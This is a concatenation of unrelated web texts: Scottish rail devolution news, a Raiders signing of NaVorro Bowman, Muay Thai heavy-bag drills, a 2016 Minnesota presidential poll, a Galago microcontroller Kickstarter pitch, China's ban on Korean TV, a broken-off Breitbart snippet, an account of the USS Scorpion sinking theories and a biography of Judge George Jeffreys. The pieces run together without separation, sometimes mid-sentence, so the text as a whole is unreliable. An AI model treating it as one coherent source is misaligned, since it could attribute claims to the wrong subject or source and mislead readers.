“What about links between Dumfries and Galloway and Edinburgh? Or Glasgow crossrail, or Edinburgh and Glasgow airport rail links?
“Reform Scotland is not saying that the Scottish Government should definitely create a new high-speed line to the north, or improve links to major towns in the Borders, or introduce other new lines.
“But we are calling on the Scottish Government to look at these options as part of a wide-ranging commission, to examine what is possible, what the costs would be and, most importantly, what benefits such transformational change could bring.”
The pro-independence Common Weal think tank agreed that control over Network Rail should be devolved, saying: “Reform Scotland is not wrong to point to Network Rail’s control of Scotland’s track infrastructure as being a major limiting factor on ScotRail.”
Common Weal published its own research last month saying Scotland’s rail system should be nationalised.
A spokesman for the group said: “Reform Scotland’s report is an argument for the end of the fractured and privatised UK rail model, that illogically splits up the operator, infrastructure and rolling stock parts of the railway service.
“Common Weal, in a joint report with rail union TSSA, has argued all parts of Scotland’s railways should be unified as a public rail service, with the franchising process scrapped.
“This would be the starting point for making Scotland a normal European country when it comes to railways, which means cheaper, better quality and run for the public good.”
A spokeswoman for national transport agency Transport Scotland said Yousaf had already made the point that there is an accountability gap where, despite being in receipt of significant public resources, Network Rail Scotland is not directly accountable to the Scottish Parliament.
She said: “Greater devolution and better governance arrangements for Network Rail in Scotland will increase efficiency and improve accountability. This is a necessity as we move towards a system of grant-based funding from 2019 onwards.
“Consideration is currently being given to the suitability of a range of existing public bodies to bid for a rail franchise and the steps required to create a new public-sector body, if necessary. The Minister for Transport and the Islands will make an announcement on the desirability of creating a new public body in 2018.”
Former Glasgow Labour MP Tom Harris, a member of the Reform Scotland advisory board, said it was “logical” that Holyrood could do a better job of running rail infrastructure in Scotland than Westminster does.
Harris, who was a junior transport minister in Tony Blair’s government, said: “There has been almost constant discussion about nationalising ScotRail for years, and it continues unabated, but it is a meaningless distraction.
“ScotRail is responsible for only around one-third of the delays on the railways, whereas more than half are down to Network Rail. Scotland’s rail problems are more fundamental than the current debate would suggest.”ALAMEDA, Calif. – The Oakland Raiders have signed free agent LB NaVorro Bowman, the club announced Monday.
Bowman, who has been named to four Associated Press All-Pro First Teams (2011-13, 2015) and three Pro Bowls (2012-13, 2015), has spent the past seven-plus seasons as a member of the San Francisco 49ers after being drafted by the club in the third round (91st overall) of the 2010 NFL Draft.
With San Francisco from 2010-17, the eighth-year pro appeared in 89 games with 74 starts, totaling 808 tackles (487 solo), 12.5 sacks, seven forced fumbles, five fumble recoveries, four interceptions and 28 passes defensed. Additionally, Bowman has played in eight postseason games, recording 97 tackles (49), 2.5 sacks, two forced fumbles and three passes defensed.
In 2017, the 6-foot, 242-pounder started five games for the 49ers and totaled 38 tackles (22) and one pass defensed. Last season, Bowman played in four games and totaled 40 tackles (20), one sack, one interception, two passes defensed and one forced fumble before being placed on the Reserve/Injured List.
A native of Forestville, Md., Bowman played in 33 games with 21 starts and recorded 215 tackles, eight sacks, three interceptions, three forced fumbles and three fumble recoveries during his three-year career at Penn State. He earned second-team All-American honors from multiple media outlets as a junior after registering 93 tackles, three sacks, two interceptions and two fumble recoveries.Killer Instinct & Balance Training
on the Heavy Bag in Thailand
Whether it comes to the ability to defend or to attack, Muay Thai is highly dependent on balance & instinct. [If you want to look like a technical professional that is...]
Although we pride ourselves on the “in your face” within the Art of 8 Limbs style of fighting, the subtle adjustments in distance create room for different weapons. Different strokes for different folks and we’ve got all the strokes that you will ever want & need *Raises Eyebrow*.
These three drills put every aspect of traditional Muay Thai together; proper balance ensuring the ability to attack or defend from all ranges dependent on what the opponent gives you. After kicking, your opponent has three options to respond with:
A.) Advance and Attack
B.) Hold Ground
C.) Retreat
Each option creates a different range between you and your opponent. These three drills will train your balance and get you instinctually ready to respond at each distance.
Enjoy & Scroll Past the Video After Watching for Additional Information.
Drill 01: Kick and Teep [Long Range] Attack & Defend
Drill 02: Kick and Knee [Mid Range] Attack & Stab
Drill 03: Kick, Wall Block, and Elbow [Short Range] Attack, Defend, & Cut
Taught by: Richi Alvarez. MAXX Muay Thai Fighter, Khongsittha Gym Bangkok.
You can follow Richi’s journey in Thailand on Instagram
Why drill on the heavy bag?
Stimulus and repetition. Although it may be tricky to figure out at first, it is much safer to get the brain firing at the appropriate distance for each weapon whilst using the heavy bag. Error in the ring costs us precious brain cells, something I have been weary of for some time now.
If you have trustworthy sparring partners to drill with, that may be your best option, but the bag will be there to serve whichever purpose you assign it, and for as long as you wish it to do serve that purpose. Training the eye as the bag swings, stimulating the distance between you and a human target is the purpose of the above drills.
The Heavy Bag Training Manual [Now Available for Free Download]
The Top Drills and Quality Technical Instruction Needed to Create a Powerful Clinch Game, Quick Combinations, An Impregnable Defense, and Balance – All On Your Own.
>> Free Access Here <<
Paul Banasiak is a Professional Muay Thai fighter/addict, 9x champion, trainer, and fitness professional currently living, training, and fighting in Thailand. After leaving medical school without looking back, he decided to fully follow his passion of helping others become the best version of themselves, creating MuayThaiAthlete.com. A website for those who are already passionate individuals that want to take their life, mindset & training to the next level.
Today we begin forging our bodies and
strengthening our limitless minds.
Interested in even more? Follow us on:
Facebook. Youtube. Instagram. Twitter.
Snapchat @MuayThaiAthlete
iTunes Podcast with Sean Fagan (The Muay Thai Guys)
Stitcher Podcast with Sean Fagan (The Muay Thai Guys)
*Leave a 5 star Review to be Featured!Do you have a favorable or unfavorable opinion of...
Favorable Unfavorable Neutral Don't recognize
Hillary Clinton 40% 46% 14% 0%
Donald Trump 30 54 16 0
Gary Johnson 14 11 48 27
Jill Stein 5 9 44 42
If the 2016 general election for president and vice president were held today, which one of the following tickets would get your vote?
Clinton/Kaine Trump/Pence Johnson/Weld Stein/Baraka Not sure
Total 44% 38% 6% 2% 10%
Men 36 47 9 1 7
Women 52 30 3 3 12
Democrats 86 3 0 2 9
Republicans 5 77 7 0 11
Independents/Other 32 43 11 3 11
18-34 51 24 10 2 13
35-49 41 39 7 2 11
50-64 41 45 4 2 8
65+ 48 38 4 1 9
Under $50,000 47 33 5 4 11
$50,000 and over 42 41 7 1 9
Hennepin/Ramsey counties 58 28 5 4 5
Rest of Twin Cities suburbs 37 41 12 0 10
Rest of state 38 44 2 2 14
2012 Obama voters 79 5 1 3 12
2012 Romney voters 7 75 8 1 9
Other/Did not vote in 2012 27 44 25 0 4
Would you say that you are certain you will vote for that ticket, or might you still change your mind?
Certain Might change
Clinton voters 88% 12%
Trump voters 89 11
Johnson voters 67 33
Stein voters 66 24
Who do you think is more honest and trustworthy - Hillary Clinton, Donald Trump or one of the other candidates?
Clinton Trump One of the others Not sure
Total 42% 36% 16% 6%
Men 37 43 17 3
Women 47 30 14 9
Democrats 81 3 12 4
Republicans 4 73 14 9
Independents/Other 28 37 23 12
18-34 45 24 27 4
35-49 38 39 16 7
50-64 40 43 11 6
65+ 47 35 11 7
Under $50,000 52 25 15 8
$50,000 and over 35 43 17 5
Hennepin/Ramsey counties 60 21 16 3
Rest of Twin Cities suburbs 32 45 20 3
Rest of state 34 42 13 11
Clinton voters 84 0 13 3
Trump voters 0 88 7 5
Johnson/Stein/Undecided voters 28 14 42 16
Source: Star Tribune Minnesota Poll, Sept. 12-14, 2016; 625 Minnesota likely voters; +/-4.0 margin of error.
DEMOGRAPHICS
# of respondents
In terms of your political party identification, do you generally consider yourself DFL or Democrat, Republican or an independent?
DFL/Democrat 230 37%
Republican 184 29%
Independent/Other 211 34%
In the last presidential election, did you vote for Democrat Barack Obama or Republican Mitt Romney?
Obama 305 49%
Romney 265 42%
Did Not Vote 55 9%
AGE:
18-34 87 15%
35-49 208 33%
50-64 203 32%
65+ 125 20%
Refused 2 -
INCOME:
<$25,000 94 (15%)
$25,000-$49,999 90 (14%)
$50,000-$74,999 104 (17%)
$75,000-$99,999 86 (14%)
$100,000+ 118 (19%)
Refused 133 (21%)
GENDER:
Male 306 (49%)
Female 319 (51%)
REGION:
Hennepin/Ramsey 200 (32%)
Rest of Suburbs 180 (29%)As Seen on Hack a Day:
"...the Galago might just be the perfect ARM board for tinkerers weaning themselves off the Arduino."
Tiny Revolution.
Galago fits a powerful 32-bit ARM chip, an on-board debugger and other incredible features in a tiny format to instantly improve your electronic projects. It's open hardware and you develop software for it with open, cross-platform and easy-to-use tools. Everything about Galago is optimized to help you make things better.
What is Galago?
Galago is a tiny revolution in rapid electronics prototyping. It combines a powerful ARM Cortex-M3 microcontroller with a hardware debugger on a tiny circuit board, allowing hobbyists and professionals alike to turn project ideas into reality faster and better than other microcontroller platforms. Galago's debugger is the difference between starting a project... and finishing it.
How can you use it?
Plug Galago into a standard breadboard for quick prototyping, pop it into an app board to build an application or integrate it directly into your commercial product. Galago is inexpensive enough that you can leave it built into a project and is the first prototyping platform specifically designed to be cost-competitive with custom PCB engineering for small production runs, at under $10 in 1000-unit quantities. This means you can prototype a product with Galago, put it on Kickstarter and afford to produce the first batch using the same hardware you prototyped with. Incredible!
How Galago compares
Perhaps the best feature of Arduino, and the reason people choose it over other prototyping boards, is the consistent, easy-to-use development software. There are faster, smaller, better and less expensive prototyping boards everywhere, but none have the complete start-to-finish usability of Arduino. That is, until Galago came along. Because Galago is built on the principle of putting development experience first (instead of just selling products) you can expect a friendlier, more usable board than any other, including Arduino. Moreover, Outbreak is committed to your experience and we'll continue to improve the development tools, libraries and community integration features as we develop new app boards.
Developing with Galago
Galago plugs into a standard solderless breadboard or an app board and connects to your computer with USB. The USB connection permits downloading and debugging firmware, plus it will power Galago if it's not connected to another power source.
Write C, C++ or Wiring code with Galago's simple but powerful development enviroment and deploy it to the hardware with a single click. Galago's community features make sharing code and working on it with others extremely simple.
Use the integrated debugger to pause code execution, inspect variables and continue running - this helps you quickly find software problems as they arise to fix them faster with less head-scratching.
App boards
App boards get you to your goal faster. Simply connect Galago to a suitable app board to cut time off your development schedule or accelerate your weekend project.
Because Outbreak's app boards are Open Hardware, they can be extended, adapted and remixed to suit any project, commercial, educational or artistic.
Galago can detect the app board it's connected to so that the correct libraries can be downloaded by the development environment. Like Arduino® shields App boards could be stacked, but because it's very difficult to ensure mechanical and electrical compatibility between boards we encourage fusing multiple designs into a new app board. This approach also reduces cost and physical size.
With the right skills, app boards are so easy to make that you could design one for each project that you'd like to build more than, say, five copies of. Publishing this design on our site means that others can use your board as a basis for their projects, which benefits everyone!
What makes Galago different
Vision. Both in the sense that the debugger offers you vision into how your software is running on the device and in the overall vision of the project. Galago is the only platform expressly designed to be both extremely easy to prototype on and economically viable to build straight into medium-run commercial products. By allowing you to accelerate to shipping real products faster, you can try more adventurous ideas with lower risk than ever before. Galago also enables smaller teams, less-experienced designers and lower budgets. All of these advantages help you make things better.
App Board Rewards
Several contribution levels reward you with your choice of app board. When the campaign completes, you'll be asked which one you'd like. Following are the app boards we've committed to build: If you have a great idea for one not on the list, suggest it and if there's enough demand we'll design it and make the board available during the campaign too!
Ethernet : This is the one shown in the video. Features a single 10Mbit Ethernet port, a micro-SD slot and an on-board power supply with barrel jack for plugged-in power.
: This is the one shown in the video. Features a single 10Mbit Ethernet port, a micro-SD slot and an on-board power supply with barrel jack for plugged-in power. Audio : Features an efficient class-D audio amplifier intended to drive an external 8-ohm speaker and a micro-SD slot. Can be powered by batteries or external supply.
: Features an efficient class-D audio amplifier intended to drive an external 8-ohm speaker and a micro-SD slot. Can be powered by batteries or external supply. LEDs: Designed to drive 16 channels of PWM-controlled LEDs or similar using the TLC5940 chip. Can be daisy-chained to more '5940s to power large-format video displays. Comes with 64 high-brightness 5mm LEDs - 16 each red, green, blue and white.
The Starter Kit is a reward unique to our Kickstarter campaign that consists of the following:
One solderless breadboard
One audio amplifier break-out board with headphone jack
A serial-in, parallel-out shift register (74HC595)
Light sensor
Temperature sensor
Two buttons
A dozen jumper wires
8 LEDs, 10 resistors and 10 capacitors
A note about pins:
Galago comes with separate header pins, which can be optionally soldered to the board at the factory. Pins are not soldered by default because while it's easy to solder pins to a board, removing them is much more difficult.
Where we are
Design Galago board... DONE
Develop Galago debugger technology... DONE
Build Galago prototypes... DONE
Exhaustively test Galago prototypes over the span of two months... DONE
Complete development environment... Almost!
Manufacture first large batch of Galagos and app boards... This is where we need your help!
Kickstarter Campaign
Prototypes of Galago, some with over 18 months of testing, demonstrate the ruggedness and reliability of the platform. Galago has been subjected to mechanical torture testing, continuous power supply short circuits and thermal stress. We're very confident in the product and we think you'll be very happy with it too. Now we're getting ready to manufacture a large batch, and that's where this campaign comes in.
Electronics are expensive to manufacture unless you build a lot at once. Galago is on Kickstarter so we can raise funds to manufacture a large quantity of Galagos and app boards and get them to you at a great price. We have quotes from both domestic and offshore circuit board manufacturers and assemblers who are just waiting for us to place our orders. This is where you come in - your contributions fund the start of the next great Open Hardware electronics prototyping platform. We hope you'll join us in this vision!
Shipping for all reward levels in the United States is free! For international orders, please add USD $7 to any reward level.
Technical specifications
Board features 72 MHz 32-bit ARM CPU with 32KB of flash ROM and 8KB of RAM
Integrated hardware debugger
One high-speed SPI port, up to 36 Mbps
One high-speed I2C port, up to 1.5 Mbps
One UART/USART with hardware flow-control capability, up to 256 kbps
10 high-speed PWM pins, 6 driven by 32-bit (high-resolution) timers
6 ADC (analog) input pins with 10-bit resolution at over 400 KSa/sec
25 GPIO (digital) input/output pins
Libraries and Software
Because Galago uses a popular ARM chip, lots of existing code and libraries can be brought to the platform with ease. Galago's debugger provides an advantage here too because new code is always easier to get working when you have this level of insight.
More information
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All trademarks are copyrights of their respective holders.China appears to have confirmed that it is to ban South Korean content from its TV screens in reprisal against the Korean government’s decision to deploy the U.S.-made Terminal High Altitude Area Defense missiles.
State-owned China Central Television (CCTV) reported that SARFT, China’s broadcast regulator, had banned the airing of Korean TV shows with effect from Sept. 1. Some social media sources, however, said that the news report was a fake.
South Korea says THAAD can only be used defensively, and is necessary to deter or defend against attack from North Korea. On Wednesday North Korea fired a missile that landed in Japanese territorial waters.
China opposes THAAD deployment, which is scheduled to take place next year, as it says the missile system’s radar can be used to spy across borders and into China.
Variety has also been told that Chinese-Korean co-productions and talent are to be restricted as part of the reprisal measures. Several Korean companies said that their Chinese partner had been given verbal instructions from China’s Film Bureau that planned co-productions would not be approved.
Related Sridevi's 'Mom' Heads for Theatrical Release in China U.S. Drama 'Green Book' Touted as Oscar Win for China
China has become the biggest export market for South Korean TV content and music acts. Chinese producers and broadcasters have also been in exuberant competition to buy Korean intellectual property from comics to movies to remake or to co-produce. And several Chinese companies have acquired stakes in Korean outfits in order to have priority access to Korean content and talent.
The regulatory measures had an immediate impact on the shares of leading Korean talent agencies. YG Entertainment stock dropped nearly 9% on Tuesday to a 52-week low of KRW33,800. SM Entertainment also hit its year low of KRW27,650. Both have recovered slightly since then.
Despite the massive interest in Korea’s cool contemporary content, China’s state news agency Xinhua said that there is popular support for the anti-Korean measures. “A recent survey showed that more than four-fifths of Chinese people would support the ban on the appearance of South Korean entertainers in Chinese TV programs if the government does so. It reflects Chinese placing love for their home country before popularity of entertainment stars,” Xinhua reported Thursday.“The reason why Obamatrade became law is because of Ted Cruz,” said Donald Trump’s senior policy advisor Stephen Miller on Monday’s program of Breitbart News Daily.
Miller — who had been working for Sen. Jeff Sessions at the time that Sessions led the conservative opposition to Obamatrade in |
this period.[clarification needed] Commander Roger Lane Nott, Royal Navy commander of HMS Splendid during the 1982 Falklands War, stated that in 1972, during his service as a junior navigation officer on HMS Conqueror, a Soviet submarine entered the Scottish Clyde channel and Conqueror was given the order to "chase it out". Having realized it was being pursued, "a very aggressive Soviet Captain turned his submarine and drove it straight at HMS Conqueror. It had been an extremely close call."
According to a translated article from Pravda, Moscow never issued a "fire" command during the Cold War.[29] This is disputed by Royal Navy officers, "there had been other occasions when harassed Russians had fired torpedoes to scare off trails". The Navy court of inquiry official statement was that there was not another ship within 200 miles of Scorpion at the time of the sinking.[30] Adding to the body of evidence against a Soviet torpedo-attack theory, U.S. Navy submarine Captain Robert LaGassa has flatly stated that "no Soviet Submarine in 1968 could detect, track, approach and attack any Skipjack or later class U.S. submarine".[31]
U.S. Navy conclusions [ edit ]
The results of the U.S. Navy's various investigations into the loss of Scorpion are inconclusive. While the court of inquiry never endorsed Dr. Craven's torpedo theory regarding the loss of Scorpion, its "findings of facts" released in 1993 carried Craven's torpedo theory at the head of a list of possible causes of Scorpion's loss.
The first cataclysmic event was of such magnitude that the only possible conclusion is that a cataclysmic event (explosion) occurred resulting in uncontrolled flooding (most likely the forward compartments).
Books [ edit ]
Silent Steel [ edit ]
Released in 2006, Stephen Johnson's Silent Steel: The Mysterious Death of the Nuclear Attack Sub USS Scorpion[32] provides a meticulously detailed listing of every mechanical problem on the submarine cited by the Navy or mentioned in crewmen's letters, but does not solve the Scorpion's sinking. Johnson, a critic of Dr. Craven, agrees with Navy scientists who, in 1970, gave their opinion that the sub's hull was smashed by implosion damage and not a torpedo blast, a finding they support with their interpretation of certain evidence about the condition of the hull and hydroacoustic recordings of the disaster. Silent Steel portrays an overworked submarine denied needed maintenance and manned by a demoralized crew, a depiction contradicted by many former Scorpion enlisted men and officers, and based in part on the testimony of sailors who had applied for transfer from the boat. Johnson also enumerates many of the Navy-wide submarine maintenance issues that denied Scorpion an overhaul and overdue safety improvements, though the Navy would maintain that virtually all necessary and vital improvements and repairs were made on the submarine before her final deployment. The Submarine Safety Program, initiated following the 1963 loss of Thresher, delayed new submarine construction and sub overhauls by monopolizing skilled workers and critical spare parts. Fearing that a normal overhaul and safety work during 1967 might sideline Scorpion for three years, it was selected for a brief experimental overhaul, but this was canceled due to a shortage of workers. Scorpion sank eight months after leaving Norfolk Naval Shipyard.
Blind Man's Bluff [ edit ]
In 1999, two New York Times reporters published Blind Man's Bluff: The Untold Story of American Submarine Espionage, a book providing a rare look into the world of nuclear submarines and espionage during the Cold War. One lengthy chapter deals extensively with Scorpion and her loss. The book reports that concerns about the Mk 37 conventional torpedo carried aboard Scorpion were raised in 1967 and 1968, before Scorpion left Norfolk for her last mission. The concerns focused on the battery that powered the torpedoes. The battery had a thin metal-foil barrier separating two types of volatile chemicals. When mixed slowly and in a controlled fashion, the chemicals generated heat and electricity, powering the motor that pushed the torpedo through the water. But vibrations normally experienced on a nuclear submarine were found to cause the thin foil barrier to break down, allowing the chemicals to interact intensely. This interaction generated excessive heat which, in tests, could readily have caused an inadvertent torpedo explosion. The authors of Blind Man's Bluff were careful to say they could not point to this as the cause of Scorpion's loss – only that it was a possible cause and that it was consistent with other data indicating an explosion preceded the sinking of Scorpion. Notably, the authors cite examples of hot running torpedo incidents that had occurred on other U.S. submarines prior to the loss of Scorpion. (Although none of those incidents caused the loss of a submarine.)
Red Star Rogue [ edit ]
In 2005, the book Red Star Rogue: The Untold Story of a Soviet Submarine's Nuclear Strike Attempt on the U.S.,[34] by former American submariner Kenneth Sewell in collaboration with journalist Clint Richmond, claimed that Soviet submarine K-129 was sunk 300 nmi (560 km) northwest of Oahu on 7 March 1968 while attempting to launch her three ballistic missiles, in a rogue attempt to destroy Pearl Harbor.
Sewell claims that the sinking of Scorpion was caused by a retaliatory strike for the sinking of K-129, which the Soviets had attributed to a collision with USS Swordfish.
In 1995, when Peter Huchthausen began work on a book about the Soviet underwater fleet, he interviewed former Soviet Admiral Victor Dygalo, who stated that the true history of K-129 has not been revealed because of the informal agreement between the two countries' senior naval commands. The purpose of that secrecy, he alleged, is to stop any further research into the losses of either Scorpion or K-129. Huchthausen states that Dygalo told him to "forget about ever resolving these sad issues for the surviving families."[35]
All Hands Down [ edit ]
All Hands Down was written by Kenneth R. Sewell, a nuclear engineer and a U.S. Navy veteran who spent five years aboard Parche, a fast attack submarine. It attempts to link the sinking of Scorpion with the Pueblo incident, the John Anthony Walker spy ring, and Cold War Soviet aggression. The thesis of this book is that action off the Canary Islands was the direct cause of the sinking. The author purports that this is supported by motives in the Soviet Navy following the sinking of K-129, which caused the Russian Navy to trap a U.S. submarine. The bait for this trap would be strange military operations and furtive naval manoeuvres in the Atlantic, accompanied by countermeasures that would only seemingly be defeated by the deployment of a nuclear submarine. With information from spying by Walker, the position and arrival time of Scorpion was known by the Russians, and its sinking followed the springing of the trap. The book claims Scorpion was sunk by a Ka-25 helicopter equipped with anti-submarine torpedoes, which took off from one ship and landed on a different one. This was so that no one, other than the aircrew of the helicopter, would notice one torpedo missing.
The book then purports a cover-up by American and Soviet officials, to avoid public outrage and an increase in Cold War tension.
Scorpion Down [ edit ]
Ed Offley, a reporter on military affairs, has closely followed developments in information concerning the sinking of the Scorpion. His most recent article on the subject is "Buried at Sea" published in the Winter 2008 issue of the Quarterly Journal of Military History. This article summarizes the facts in the case as presented in his 2007 book Scorpion Down: Sunk by the Soviets, Buried by the Pentagon: The Untold Story of the USS Scorpion. In the book Offley, gathering decades of his own research, hypothesizes that Scorpion was sunk by the Soviets, possibly in retaliation for the loss of K-129 earlier that year. The book paints a picture of increasing Soviet anger at U.S. Navy provocations — specifically, close-in monitoring of Soviet naval operations by almost every U.S. nuclear submarine. At approximately the same time, the Soviet intelligence community scored a huge boon in receiving the mechanical cryptologic devices from Pueblo. These machines, combined with daily crypto keys from the John Anthony Walker spy ring, likely allowed the Soviets to monitor in real time U.S. Navy ship dispositions and communications.
Offley contends that the Scorpion was tracked by several Soviet Navy assets from the Mediterranean to its final operational area south of the Azores, where it was then sunk by a Soviet torpedo. He claims the U.S. Navy was aware of the loss of the Scorpion on 21 May 1968 and engaged in a massive cover-up, within days destroying much of the sound and communication data at SOSUS ground stations in the U.S. and Europe,[36] and delaying any public indication of the loss until its scheduled arrival at Norfolk, Virginia five days later, partly to disguise the fact that U.S. nuclear subs were in constant or frequent communication with U.S. Naval Communication bases and that the subsequent search for the Scorpion was a five months-long deception to pretend they had no idea of the location of the hull.
The oral testimony relied upon by Offley are recountings of surviving SOSUS recordings documenting torpedo sounds, evasion sounds, an explosion, and eventually the sounds of implosions as Scorpion plunged past crush depth.
Against the Tide: Rickover's Leadership Principles and the Rise of the Nuclear Navy [ edit ]
In a section from this 2014 book titled "The Danger of Culture," retired U.S. Navy Rear Admiral Dave Oliver offers the theory based on his own experiences that it was possibly a hydrogen explosion, either during or immediately following a battery charge, that destroyed USS Scorpion and killed her crew. The proximate cause in that scenario would have been the procedural carryover from diesel boat days wherein the boat was effectively rigged for collision—with subsequent changes in ventilation flow and watertight condition—before proceeding to periscope depth by way of setting "Condition Baker."
Oliver had personally witnessed dangerously high percent-hydrogen spikes under such conditions aboard a nuclear submarine, specifically while going to periscope depth and setting Condition Baker during a battery charge. Diesel boats, on the other hand, were not capable of doing a battery charge while deeply submerged, but were instead dealing with the risk of collision while on anti-surface ship operations when proceeding to periscope depth while in or near shipping lanes.
In regard to NAVSEA responsibility, he further states: "I always felt that the investigators closed their eyes to the most likely cause because they did not want to acknowledge their own involvement in this tragedy. I had forwarded my letter about Condition Baker via some of the same people responsible for the Scorpion investigation."[37]
The assessment of a hydrogen explosion as the proximal cause for the loss of Scorpion is further assessed and analyzed by retired acoustics expert Bruce Rule, a long-time analyst for the Integrated Undersea Surveillance System (IUSS), who covers this in substantial detail on the IUSS alumni association blog.
Songs [ edit ]
Phil Ochs released a song on his album Rehearsals for Retirement (1969) titled "The Scorpion Departs But Never Returns".
See also [ edit ]
References [ edit ]
Bibliography [ edit ]George Jeffreys, 1st Baron Jeffreys of Wem, PC (15 May 1645 – 18 April 1689), also known as "the Hanging Judge",[1] was a Welsh judge. He became notable during the reign of King James II, rising to the position of Lord Chancellor (and serving as Lord High Steward in certain instances). His conduct as a judge was to enforce royal policy, resulting in a historical reputation for severity and bias.
Early years and education [ edit ]
Jeffreys was born at the family estate of Acton Hall, in Wrexham, in North Wales, the sixth son of John and Margaret Jeffreys. His grandfather, John Jeffreys (died 1622), had been Chief Justice of the Anglesey circuit of the Great Sessions. His father, also John Jeffreys (1608–1691), was a Royalist during the English Civil War, but was reconciled to the Commonwealth and served as High Sheriff of Denbighshire in 1655.
His brothers were people of note. Thomas, later Sir Thomas (knighted in 1686), was English Consul in Spain and a Knight of Alcántara. William was vicar of Holt, near Wrexham, from 1668 to 1675. His younger brother, James, made a good ecclesiastical career, becoming Vice-Dean of Canterbury in 1685.
George was educated at Shrewsbury School from 1652 to 1659, his grandfather's old school, where he was periodically tested by Philip Henry, a friend of his mother. He attended St Paul's School, London, from 1659 to 1661 and Westminster School, London, from 1661 to 1662. He became an undergraduate at Trinity College, Cambridge, in 1662, leaving after one year without graduating, and entering the Inner Temple for law in 1663.[2]
Residences [ edit ]
Jeffreys, presumably after being granted the title 1st Baron of Wem, took the residence of Lowe Hall in Wem, Shropshire. The extant Wem Hall was built in 1666, although it has subsequently been significantly remodelled.[3] He also had Bulstrode Park built for him in 1686.
Marriages [ edit ]
In 1667, he married Sarah Neesham or Needham, by whom he had seven children; she died in 1678. She was the daughter of the impoverished vicar of Stoke d'Abernon, Thomas Neesham. A story is published, that Jeffreys sought to marry a daughter of a rich City merchant and had a secret correspondence with her, through Sarah, her kinswoman and companion. When the merchant discovered the plot he refused his home to Sarah and George did a noble act by marrying her.[4] They married in the church of All Hallows-by-the-Tower in the City of London.
He married secondly in 1679, Anne, daughter of Sir Thomas Bloodworth, who was Lord Mayor of London 1665-6; she was the widow of Sir John Jones of Fonmon Castle, Glamorgan. Being only 29 at the time of her second marriage, she was described as a 'brisk young widow' and there were some rumours about her. She was said to have a formidable temper: Jeffreys' family went in awe of her, and it was said she was the only person he was afraid of. A popular ballad joked that while St. George had killed a dragon and thus saved a maiden in distress, Sir George had missed the maiden and married the dragon by mistake.
Early career [ edit ]
Portrait of Judge George Jeffreys, First Baron of Wem
He embarked on a legal career in 1668, becoming a Common Serjeant of London in 1671. He was aiming for the post of Recorder of London, but was passed over for this in 1676 in favour of William Dolben. He turned instead to the Court and became Solicitor General to the Duke of York and of Albany (later King James II & VII), the younger brother of Charles II. Despite his Protestant upbringing, he found favour under the Roman Catholic Duke.
Jeffreys distinguished himself with black humour, for example noting that two brothers convicted of stealing lead from the roof of Stepney Church had "zeal for religion...so great as to carry you to the top of the church", and noting that they had narrowly avoided committing a capital offence.[5]
Recorder of London [ edit ]
Jeffreys was knighted in 1677, became Recorder of London in 1678 when Dolben resigned, and by 1680 had become Chief Justice of Chester and Counsel for the Crown at Ludlow and Justice of the Peace for Flintshire. During the Popish Plot he was frequently on the bench which condemned numerous innocent men on the perjured evidence of Titus Oates. These condemnations were remembered against him in 1685 when he secured the conviction of Oates for his perjury at the same trials. Charles II created him a baronet in 1681, and two years later, he was Chief Justice of the King's Bench and a member of the Privy Council.
Lord Chief Justice [ edit ]
Jeffreys became Lord Chief Justice in 1683 and presided over the trial of Algernon Sidney, who had been implicated in the Rye House Plot. Sidney was convicted and executed: Jeffreys' conduct of the trial caused some unease, in particular his ruling that while two witnesses were normally required in a treason trial, and the Crown had only one, Sidney's own writings on republicanism were a second "witness" on the ground that "to write is to act". John Evelyn, meeting him at a wedding two days later, thought his riotous behaviour unbecoming to his office, especially so soon after Sidney's trial. Jeffreys' elevation was seen by many as a reward for the successful conviction of Lord Russell in connection with the same conspiracy as Sidney: Jeffreys, who had led for the prosecution at Russell's trial, replaced Sir Francis Pemberton, who had presided at the same trial and made clear his doubts about Russell's guilt, much to the King's displeasure. Jeffreys conducted the prosecution with far more dignity and restraint than was usual with him, stressing to the jury that they must not convict unless they were certain of Russell's guilt.
A less well known act of Jeffreys occurred on assize in Bristol in 1685 when he made the mayor of the city, then sitting fully robed beside him on the bench, go into the dock and fined him £1000 for being a 'kidnapping knave'. Some Bristol traders were known at the time to kidnap their own countrymen and ship them away as slaves.[6]
Lord Chancellor [ edit ]
James II, following his accession to the throne, named Jeffreys as Lord Chancellor in 1685, and elevated him to the peerage as Baron Jeffreys of Wem. In 1687 he was appointed Lord Lieutenant of Shropshire and of Buckinghamshire.[7] His first major trial in James' reign was that of Titus Oates. While there is no doubt of Oates' guilt, Jeffreys' conduct was no more decorous than usual; the latter part of the trial has been described as such an exchange of insults between Jeffreys and Oates as to make it doubtful if proceedings could continue.[8] Unable to impose the death penalty, Jeffreys and his colleagues apparently tried to achieve the same result by sentencing Oates to series of whippings so savage that he might well have died; although, as Kenyon remarks, it was arguably no more than he deserved.[9] Jeffreys was much criticised for his conduct of the trial of the aged and much respected clergyman Richard Baxter, but these criticisms must be treated with caution since the actual records have disappeared and all the surviving accounts of the trial were written by partisans of Baxter.
The Bloody Assizes [ edit ]
Jeffreys' historical notoriety comes from his actions in 1685, after Monmouth's Rebellion. Jeffreys was sent to the West Country in the autumn of 1685 to conduct the trials of captured rebels. The Centre of the trials was based at Taunton. Estimates of the numbers executed for treason have been given as high as 700; however, a more likely figure is between 160 and 170 of 1381 defendants found guilty of treason. Although Jeffreys has been traditionally accused of vindictiveness and harsh sentencing, none of the convictions have been considered improper, except for that of Alice Lisle tried at Winchester. Furthermore, as the law of the time required a sentence of death for treason, Jeffreys was required to impose it, leaving the king the option of commuting sentence under the prerogative of mercy. Arguably, it was James II's refusal to use the prerogative as much as was customary for the time, rather than Jeffreys' actions that made the government's reprisals so savage.[10]
Alice Lisle was accused of sheltering some members of the defeated rebel army who had not yet been found guilty of treason. There was no evidence that she had taken an active part in the rebellion itself, and she was not accused of this. When the jury asked whether her actions could in law be considered treasonable, Jeffreys replied affirmatively. The jury then returned a guilty verdict.[11] She was executed at Winchester by beheading (although the original sentence had been that she was to be burned at the stake). The King's refusal to reprieve her gave rise to a belief that he was taking posthumous revenge on her husband, the regicide Sir John Lisle, who had been one of his own father's judges at his trial in 1649. Lisle had been murdered by Royalist agents at Lausanne in 1664, but the King had a long memory and may well have felt that Alice should suffer judicial punishment in her husband's place.
James considered making Jeffreys Viscount Wrexham and Earl of Flint. James refrained only because Jeffreys remained a Protestant.[12] Despite his loyalty to the king, Jeffreys never hid his contempt for Roman Catholicism: in the last months of James' reign, as the Government drifted without leadership, Jeffreys remarked cynically that "the Virgin Mary is to do all".
President of the Ecclesiastical Commission [ edit ]
